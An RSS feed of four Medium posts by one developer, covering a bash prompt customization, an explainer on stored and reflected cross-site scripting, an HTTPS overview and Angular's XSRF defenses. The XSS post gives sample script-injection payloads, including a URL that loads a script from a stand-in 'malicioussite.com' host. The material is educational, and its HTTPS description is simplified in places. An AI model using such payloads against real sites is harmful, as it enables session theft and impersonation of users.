<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Naman Sancheti on Medium]]></title>
        <description><![CDATA[Stories by Naman Sancheti on Medium]]></description>
        <link>https://medium.com/@naman.sancheti?source=rss-73fd5f415239------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/2*xasH1nH_SYyLjgn8oWK1FQ.png</url>
            <title>Stories by Naman Sancheti on Medium</title>
            <link>https://medium.com/@naman.sancheti?source=rss-73fd5f415239------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 18 Nov 2026 12:03:47 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@naman.sancheti/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Customizing ‘bash’ prompt]]></title>
            <link>https://medium.com/@naman.sancheti/customizing-bash-prompt-68d1d5e30cf3?source=rss-73fd5f415239------2</link>
            <guid isPermaLink="false">https://medium.com/p/68d1d5e30cf3</guid>
            <category><![CDATA[shell]]></category>
            <category><![CDATA[bash]]></category>
            <category><![CDATA[git]]></category>
            <category><![CDATA[terminal]]></category>
            <dc:creator><![CDATA[Naman Sancheti]]></dc:creator>
            <pubDate>Sat, 28 Dec 2019 09:11:04 GMT</pubDate>
            <atom:updated>2019-12-28T09:11:04.581Z</atom:updated>
            <content:encoded><![CDATA[<p>As developers, we spend a large amount of time in our ‘Terminal’ / ‘Shell’.<br>Although there are multiple available shells such as ‘zsh’, ‘ksh’ and others — ‘bash’ is one of the most popular ones and often the default.</p><p>I realized that I would often view the ‘current Git branch’ OR the ‘current working directory’ by running the git branch and pwd commands respectively.<br>However, these can be embedded right in the prompt itself by customizing it.</p><p>Below was the final result post customization:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/672/1*QLDLmpNkQlx2CU2dE6DgSA.png" /></figure><p>As you can see, the ‘current working directory’ is shown in <em>yellow</em>, whereas the ‘current Git branch’ is shown in <em>green</em> (iff the current directory is a Git repository).</p><p>I did this by adding the below in the .bash_profile file located in the ~ i.e <em>home</em> directory:</p><pre>parse_git_branch() {<br>  git branch 2&gt; /dev/null | sed -e ‘/^[^*]/d’ -e ‘s/* \(.*\)/ (\1)/’<br>}</pre><pre>export PS1=”\u@\033[33m\]\W\[\033[00m\]\[\033[32m\]\$(parse_git_branch)\[\033[00m\] $ “</pre><p>That’s it!<br>Let’s take a look at what the above does:</p><p>The parse_git_branch method is used to get hold of the current Git branch. I got it from <a href="https://gist.github.com/joseluisq/1e96c54fa4e1e5647940">this</a> Gist.</p><p>Further, for the colors I referred to <a href="https://misc.flogisoft.com/bash/tip_colors_and_formatting">this</a> guide.</p><p>If you found this useful, please give a clap or two — it will encourage me to publish similar content in the future.</p><p>In case, I missed out on some detail / got something wrong, please let me know in the ‘Comments’ section.</p><p>Thanks and stay tuned for more posts coming soon! :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=68d1d5e30cf3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[XSS — What, How & Why it matters]]></title>
            <link>https://medium.com/@naman.sancheti/xss-what-how-why-it-matters-c1623fcd00ca?source=rss-73fd5f415239------2</link>
            <guid isPermaLink="false">https://medium.com/p/c1623fcd00ca</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[javascript]]></category>
            <category><![CDATA[xss-attack]]></category>
            <dc:creator><![CDATA[Naman Sancheti]]></dc:creator>
            <pubDate>Sun, 12 Aug 2018 06:10:49 GMT</pubDate>
            <atom:updated>2018-08-12T06:18:59.534Z</atom:updated>
            <content:encoded><![CDATA[<h3>What:</h3><p>Cross-site scripting (XSS) is a type of attack in which malicious scripts are injected into a trusted website. It typically occurs due to lack of input <strong>sanitization</strong> and further rendering of this unsafe input, in a web application.</p><p>There are primarily two types:</p><ol><li><strong>Stored / Persistent XSS:</strong></li></ol><p>In this type of XSS, there is no <strong>explicit</strong> action required from the victim, since the injected script is permanently stored on the target server(s). The victim unknowingly retrieves the malicious script from the server, when requesting for other information.</p><h3>How:</h3><p>There is a forum page, which displays the <strong>most recent</strong> comment on a web-page:</p><blockquote>print “&lt;html&gt;”<br>print “&lt;h1&gt;Most recent comment&lt;/h1&gt;”<br>print <strong>database.latestComment</strong><br>print “&lt;/html&gt;”</blockquote><p>Now, an attacker submits a comment with a malicious payload such as :</p><blockquote>&lt;script&gt;<strong>maliciousFn</strong>();&lt;/script&gt;</blockquote><p>Now, any subsequent users visiting the web-page will get served the following web-page:</p><blockquote>&lt;html&gt;<br>&lt;h1&gt;Most recent comment&lt;/h1&gt;<br>&lt;script&gt;<strong>maliciousFn</strong>();&lt;/script&gt;<br>&lt;/html&gt;</blockquote><p>Thus, the attacker would have successfully executed their ‘<strong>injected</strong>’ code without the victim even knowing about it.</p><h3>What:</h3><p><strong>2. Reflected XSS:</strong></p><p>In this type of XSS, an<strong> explicit </strong>action from the user is required.<br>Eg — the script is activated through a link which sends a request to a vulnerable website which allows execution of malicious scripts. Thus, the malicious script is ‘<strong>reflected</strong>’ off of a web application to the victim’s browser.</p><h3>How:</h3><p>There is a search bar on the forum, whose input is added as query param(s) to the URL. Eg — a search for ‘football’ would form the URL:<br>http://forum.com?q=football</p><p>The attacker can now form a URL such as below:<br>http://forum.com?q=&lt;script src=’<strong>http://malicioussite.com/malicious.js</strong>’&gt;&lt;/script&gt;</p><p>This link is then embedded into an email, which is then sent to a group of forum users. Upon clicking the users will be taken to the forum’s website, wherein the malicious script will get executed.</p><h3>Why it matters:</h3><p>The malicious script executed using XSS has access to the same objects that the rest of the web-page has, which includes <strong>cookies</strong>, <strong>XSRF</strong> tokens etc.</p><p>In case, you are not aware of ‘<strong>XSRF</strong>’, take a look at my earlier post on it:<br><a href="https://medium.com/@naman.sancheti/angular-security-best-practices-xsrf-37d32049ed2f">https://medium.com/@naman.sancheti/angular-security-best-practices-xsrf-37d32049ed2f</a></p><p>Since cookies are often used to store session tokens, thus obtaining the user’s session cookie allows the attacker to <strong>impersonate</strong> the victim.</p><p>Further, using the XSRF token, they can <strong>forge</strong> requests.</p><p>They can also make arbitrary modifications to the <strong>DOM</strong> and if the victim has administrative rights, then they can even execute code on the <strong>server.</strong></p><p>Also, in modern browsers HTML5 APIs for accessing a user’s <strong>geolocation</strong>, <strong>webcam</strong>, <strong>microphone</strong> etc. can be leveraged using JS, although these require opt-in from the victim. However, XSS together with some clever social engineering can lead to exploitation of these as well.</p><p>Due to the above reasons, having an XSS vulnerability in your web application is a huge risk and must be dealt with at the earliest.</p><p>In fact, there have been multiple real-world attacks in the past, one of which involved ‘<strong>Apache.org</strong>’ who were severely impacted due to an XSS vulnerability in their <strong>JIRA</strong> application:<br><a href="https://www.netsparker.com/blog/web-security/apacheorg-and-jira-incident/">https://www.netsparker.com/blog/web-security/apacheorg-and-jira-incident/</a></p><p>So, that was it.<br>If you found this useful, please give a clap or two. It will encourage me to publish similar content in the future.</p><p>In case I missed out on some detail / got something wrong, then please feel free to comment. Would love your feedback. :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c1623fcd00ca" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HTTPS — How does it work ?]]></title>
            <link>https://medium.com/@naman.sancheti/https-how-does-it-work-5028dcc1ee41?source=rss-73fd5f415239------2</link>
            <guid isPermaLink="false">https://medium.com/p/5028dcc1ee41</guid>
            <category><![CDATA[ssl]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[encryption]]></category>
            <category><![CDATA[tls]]></category>
            <category><![CDATA[https]]></category>
            <dc:creator><![CDATA[Naman Sancheti]]></dc:creator>
            <pubDate>Sun, 05 Aug 2018 07:08:58 GMT</pubDate>
            <atom:updated>2018-08-05T07:18:56.992Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>As per the Wikipedia definition:<br>HTTPS or HTTP Secure is an extension of the Hypertext Transfer Protocol (HTTP) for secure communication over a computer network.</blockquote><p>It is what manifests itself as the <em>green padlock</em> icon that can be seen in the ‘<strong>Address Bar</strong>’ of your browser, when visiting any website that supports HTTPS eg — Medium.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/266/1*rAvfwTPjwZgzRmGLVFBZmQ.png" /><figcaption>HTTPS on Medium</figcaption></figure><p>In HTTPS, there is encryption using <strong>Transport Layer Security (TLS)</strong> or <strong>Secure Sockets Layer (SSL)</strong>, which was the predecessor.<br>TLS was introduced in 1999, and is based off SSL 3.0.</p><p>SSL / TLS aim to provide both <strong>privacy</strong> (using encryption) and <strong>identification </strong>(trusting the identity of the other party using certificates).</p><p>The way it works is that there is a ‘<strong>handshake</strong>’ process initially, when the website is being loaded.</p><p>The company which owns the website, has to first apply for and obtain a certificate verifying its identity from a ‘<strong>Certificate</strong> <strong>Authority</strong> (<strong>CA</strong>)’ such as Verisign. As part of the application process, the company has to give details on the Web server(s), location, what the company’s business is etc.</p><p>Once the certificate is obtained, it is then installed by the company in their server(s).</p><p>The CA hashes these details and then signs them using a ‘<strong>private</strong> <strong>key</strong>’, to prevent forgery. This way, anyone with the ‘<strong>public</strong> <strong>key</strong>’ can verify it.</p><p>Browsers come with a pre-installed list of trusted CAs, known as the ‘<strong>Trusted</strong> <strong>Root</strong> <strong>CA</strong> <strong>Store</strong>’. In order to be added to this, the CA must comply with and be audited against security and authentication standards.</p><p>In order to setup the connection, 3 keys are required — ‘<strong>public</strong>’, ‘<strong>private</strong>’ and ‘<strong>session</strong>’ key. Since encrypting and decrypting with private and public keys takes processing power, thus they are only used during the ‘<em>handshake</em>’ process. Once the secured connection has been made, the session key is used to encrypt all transmitted data.</p><p>The SSL certificate includes the server’s <em>public key</em>. The browser creates a one-time session key with the received public key and sends it out to the server.</p><p>The server then decrypts it using it’s private key and thus, now both the client and the server know the <em>session key</em>.</p><p>Subsequently, the server sends an ‘<strong><em>ACK</em></strong>’ to the client encrypted using it’s private key and thus the ‘<em>handshake</em>’ is now successfully completed.</p><p>So, that was it. On a high-level, that’s the magic behind HTTPS!<br>If you found this useful, please give a clap or two. It will encourage me to publish similar content in the future.</p><p>In case I missed out on some detail / got something wrong, then please feel free to comment. Would love your feedback. :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5028dcc1ee41" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Angular — Security Best Practices (XSRF)]]></title>
            <link>https://medium.com/@naman.sancheti/angular-security-best-practices-xsrf-37d32049ed2f?source=rss-73fd5f415239------2</link>
            <guid isPermaLink="false">https://medium.com/p/37d32049ed2f</guid>
            <category><![CDATA[angular]]></category>
            <category><![CDATA[javascript]]></category>
            <category><![CDATA[csrf]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Naman Sancheti]]></dc:creator>
            <pubDate>Sun, 13 May 2018 07:24:52 GMT</pubDate>
            <atom:updated>2018-05-13T07:25:36.243Z</atom:updated>
            <content:encoded><![CDATA[<p>Cross-Site Request Forgery also known as CSRF / XSRF is an HTTP level vulnerability.</p><p>In a CSRF attack, an attacker tricks the user into visiting a different web-page (eg — evil.com) with malicious code that secretly sends a request to the application’s web server (eg — abc-bank.com ).</p><p>Here’s a scenario of how it could happen:<br>Let’s say the user is logged into the application at abc-bank.com. The user opens and email and clicks a link to evil.com, which opens in a new tab.</p><p>The evil.com page immediately sends a malicious request to abc-bank.com. This could for example be a request to transfer money from the user’s account to the attacker’s account.</p><p>The browser automatically sends the abc-bank.com cookies (including the authentication cookie) with this request.</p><p>If the abc.com server lacks XSRF protection, then it won’t be able to tell the difference between a legitimate request from the application and the forged request from evil.com.</p><p>A common anti-XSRF technique is that the application server sends a randomly generated authentication token in a cookie.<br>The client code reads this cookie and adds a custom header to the request with the token in all subsequent requests.</p><p>The server then compares the received cookie to the one in the request header and rejects the request if the values are missing or don’t match.</p><p>The reason, this technique works is because all browsers implement the ‘<strong>same-origin</strong>’ policy i.e. only code from the domain / website in which cookies are set can read the cookies from that site. <br>Thus, only our application can read this cookie and thereby set it in the custom header. The malicious code on evil.com can’t.</p><p>Angular’s ‘<strong>HttpClient</strong>’ has built-in support for the <strong>client-side</strong> half of this technique.<br>By default, an interceptor sends this cookie on all <strong>mutating</strong> requests i.e. POST, PUT, DELETE etc. to relative URLs but NOT on GET / HEAD requests (since they are read-only) or on requests with an absolute URL (since it is a different domain altogether).</p><p>To take advantage of this, the server needs to set a token in a JS readable session cookie called ‘<strong>XSRF-TOKEN</strong>’ on either the page load or the first GET request.<br>On subsequent requests, the server can verify that the cookie matches the ‘<strong>X-XSRF-TOKEN</strong>’ HTTP header and thus, be sure that only code running on your domain has sent this request.</p><p>The token must be unique for each user and must be verifiable by the server — this prevents the client from making their own tokens.</p><p>The recommended practice is to set the token to a <strong>digest / hash</strong> of the site’s authentication cookie with an added salt for enhanced security.</p><p>Note that in scenarios, wherein multiple Angular apps share the same domain or subdomain, we need to give each application a unique cookie name.</p><p>Also, in case the backend service uses different names for the XSRF token cookie or header, then we can use ‘<strong>HttpClientXsrfModule.withOptions()</strong>’ to override the defaults :</p><blockquote>imports: [<br> HttpClientModule,<br> HttpClientXsrfModule.withOptions({<br> cookieName: ‘My-Xsrf-Cookie’,<br> headerName: ‘My-Xsrf-Header’,<br> }),<br>]</blockquote><p>Hope that was useful!<br>Stay tuned for more security related posts coming your way..:)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=37d32049ed2f" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>